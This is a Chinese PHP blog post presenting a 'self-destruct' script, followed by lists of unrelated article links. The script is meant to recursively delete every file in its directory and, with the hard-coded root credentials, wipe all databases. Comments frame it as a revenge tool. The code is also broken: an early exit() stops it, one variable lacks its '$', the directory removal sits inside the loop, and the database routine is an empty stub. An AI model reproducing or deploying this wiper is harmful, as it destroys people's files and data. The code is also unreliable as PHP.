PHP自毁程序(慎用)


Posted in PHP onJuly 09, 2015

本文实例讲述了PHP自毁程序。分享给大家供大家参考。具体实现方法如下:

<?php
// +----------------------------------------------------------------------
// | Kill!!
// | 程序将清除本目录所有文件、目录
// | 如果设置了数据库信息,则尝试删除所有数据库和表数据(前提是权限要够!)
// +----------------------------------------------------------------------
// | Version: $Id$
// +---------------------------------------------------------------------- 
//----------数据库配置区域-----------------
//复仇的力量是很可怕的,所以无需指定数据库,全删!
define('DB_USER', 'root');
define('DB_PWD', 'root');
define('DB_HOST', 'localhost');
define('DB_PORT', '3216');
define('DB_DAMAGE', true); //为false时,不碰数据库
run();
/**
 * 主体思想必须光辉伟大!
 *
 * @return void
 **/
function run()
{
 //删除文件
 deletedir();
 //删除数据库
 deleteDB();
}
/**
 * 呵呵呵,删除当前目录所有文件(递归)
 *
 * @return void
 **/
function deletedir($dir = ''){
 if ($dir == '') {
  $dir = realpath('.');
 }
 echo $dir;
 exit();
  if(!handle=@opendir($dir)){
  //检测要打开目录是否存在
  die("没有该目录");
  }
  while(false !==($file=readdir($handle))){
    if($file!=="."&&$file!==".."){
    //排除当前目录与父级目录
    $file=$dir .DIRECTORY_SEPARATOR. $file;
    if(is_dir($file)){
     deletedir($file);
    }else{
     if(@unlink($file)){
      echo "文件<b>$file</b>删除成功。<br>";
     }else{
      echo "文件<b>$file</b>删除失败!<br>";
     }
    }
    }
    if(@rmdir($dir)){
    echo "目录<b>$dir</b>删除成功了。<br>\n";
    }else{
    echo "目录<b>$dir</b>删除失败!<br>\n";
    }
   }
/**
 * 呵呵呵,删除数据库
 *
 * @return void
 **/
function deleteDB()
{
 if(DB_DAMAGE === true){
  //start
 }
}

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
wordpress之wp-settings.php
Aug 17 PHP
php入门学习知识点四 PHP正则表达式基本应用
Jul 14 PHP
PHP中空字符串介绍0、null、empty和false之间的关系
Sep 25 PHP
php class类的用法详细总结
Oct 17 PHP
基于PHP的简单采集数据入库程序【续篇】
Jul 30 PHP
php中mysql连接方式PDO使用详解
Feb 25 PHP
PHP统计数值数组中出现频率最多的10个数字的方法
Apr 20 PHP
3种php生成唯一id的方法
Nov 23 PHP
php+Memcached实现简单留言板功能示例
Feb 15 PHP
关于php unset对json_encode的影响详解
Nov 14 PHP
PHP实现的pdo连接数据库并插入数据功能简单示例
Mar 30 PHP
在laravel中实现将查询的对象转换为多维数组的函数
Oct 21 PHP
PHP模板解析类实例
Jul 09 #PHP
PHP多文件上传实例
Jul 09 #PHP
php判断linux下程序问题实例
Jul 09 #PHP
php实现html标签闭合检测与修复方法
Jul 09 #PHP
php可扩展的验证类实例(可对邮件、手机号、URL等验证)
Jul 09 #PHP
php类常量用法实例分析
Jul 09 #PHP
php求一个网段开始与结束IP地址的方法
Jul 09 #PHP
You might like
PHP中的正规表达式(二)
2006/10/09 PHP
解析file_get_contents模仿浏览器头(user_agent)获取数据
2013/06/27 PHP
php用户注册页面利用js进行表单验证具体实例
2013/10/17 PHP
php ZipArchive压缩函数详解实例
2013/11/06 PHP
php判断两个浮点数是否相等的方法
2015/03/14 PHP
TP5框架实现的数据库备份功能示例
2020/04/05 PHP
Code: write(s,d) 输出连续字符串
2007/08/19 Javascript
学习从实践开始之jQuery插件开发 菜单插件开发
2012/05/03 Javascript
jQuery实现hover合成事件的方法
2015/08/06 Javascript
几种经典排序算法的JS实现方法
2016/03/25 Javascript
jquery插件格式实例分析
2016/06/16 Javascript
Bootstrap基本组件学习笔记之缩略图(13)
2016/12/08 Javascript
jQuery实现鼠标跟随效果
2017/02/20 Javascript
详解angular2实现ng2-router 路由和嵌套路由
2017/03/24 Javascript
微信小程序实现缓存根据不同的id来进行设置和读取缓存
2017/06/12 Javascript
Array数组对象中的forEach、map、filter及reduce详析
2018/08/02 Javascript
vue+layui实现select动态加载后台数据的例子
2019/09/20 Javascript
python记录程序运行时间的三种方法
2017/07/14 Python
Python实现带参数与不带参数的多重继承示例
2018/01/30 Python
Python内置函数reversed()用法分析
2018/03/20 Python
Win10下python3.5和python2.7环境变量配置教程
2018/09/18 Python
python使用Matplotlib绘制分段函数
2018/09/25 Python
浅析PyTorch中nn.Module的使用
2019/08/18 Python
django框架auth模块用法实例详解
2019/12/10 Python
利用OpenCV中对图像数据进行64F和8U转换的方式
2020/06/03 Python
python 解决pycharm运行py文件只有unittest选项的问题
2020/09/01 Python
python math模块的基本使用教程
2021/01/16 Python
CSS3效果:自定义“W”形运行轨迹实例
2017/03/29 HTML / CSS
webapp字号大小跟随系统字号大小缩放的示例代码
2018/12/26 HTML / CSS
美国猫狗药物和用品网站:PetCareRx
2017/01/05 全球购物
幼儿教师师德演讲稿
2014/05/06 职场文书
励志演讲稿3分钟
2014/08/21 职场文书
2015年女生节活动总结
2015/02/27 职场文书
收入证明申请书
2015/06/12 职场文书
2019年最新版见习人员管理制度!
2019/07/08 职场文书
CSS 还能这样玩?奇思妙想渐变的艺术
2021/04/27 HTML / CSS